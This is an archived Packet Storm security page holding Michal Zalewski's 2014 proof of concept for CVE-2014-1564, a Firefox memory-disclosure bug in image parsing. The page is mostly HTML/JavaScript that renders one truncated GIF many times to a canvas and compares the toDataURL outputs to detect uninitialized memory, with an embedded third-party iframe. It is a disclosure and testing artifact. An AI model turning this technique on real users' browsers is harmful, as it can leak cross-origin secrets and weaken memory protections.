what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mozilla Firefox Secret Leak

Mozilla Firefox Secret Leak
Posted Sep 3, 2014
Authored by Michal Zalewski

The recent release of Firefox 32 fixes another interesting image parsing issue found by afl. Following a refactoring of memory management code, the past few versions of the browser ended up using uninitialized memory for certain types of truncated images, which is easily measurable with a simple <canvas> + toDataURL() harness that examines all the fuzzer-generated test cases. Depending on a variety of factors, problems like that may leak secrets across web origins, or more prosaically, may help attackers bypass security measures such as ASLR. This code is a proof of concept for versions prior to 32.

tags | exploit, web, proof of concept, fuzzer
advisories | CVE-2014-1564
SHA-256 | 7c5c90b2004b180e2ba9b417077aadeb4d76b33775e460d93cce1e056c3e1b29

Mozilla Firefox Secret Leak

Change Mirror Download
<style>
body {
background-color: #d0d0d0;
}

img {
border: 1px solid teal;
margin: 1ex;
}

canvas {
border: 1px solid crimson;
margin: 1ex;
}
</style>

<body onload="set_images()">

<div id="status">
</div>

<div id="image_div">
</div>

<canvas height=32 width=32 id=cvs>
</canvas>

<h2>Variants:</h2>

<ul id="output">
</ul>

<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');

var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;

function check_results() {

var uniques = [];

uniques.push(image_obj[0].imgdata);

document.getElementById('output').innerHTML +=
'<img src="' + image_obj[0].imgdata + '">';

for (var i = 1; i < USE_IMAGES; i++) {

if (image_obj[0].imgdata != image_obj[i].imgdata) {

for (var j = 1; j < uniques.length; j++)
if (uniques[j] == image_obj[i].imgdata) break;

if (j == uniques.length) {

uniques.push(image_obj[i].imgdata);

document.getElementById('output').innerHTML +=
'<img src="' + image_obj[i].imgdata + '">';


}


}

}

if (uniques.length > 1)
alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
else
alert('The image has just one variant when rendered. You\'re probably OK.');

}


function count_image() {

loaded++;

ctx.clearRect(0, 0, 32, 32);

try {
ctx.drawImage(this, 0, 0, 32, 32);
} catch (e) { }

this.imgdata = c.toDataURL();

if (loaded == USE_IMAGES) check_results();

}


function set_images() {

loaded = 0;
create_images();

for (var i = 0; i < USE_IMAGES; i++)
image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();

}


function create_images() {

for (var i = 0; i < USE_IMAGES; i++) {

image_obj[i] = new Image();
image_obj[i].height = 32;
image_obj[i].width = 32;
image_obj[i].onerror = count_image;
image_obj[i].onload = count_image;

document.getElementById('image_div').appendChild(image_obj[i]);

}

}


</script>


<iframe src='http://www.cnn.com/'></iframe>

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close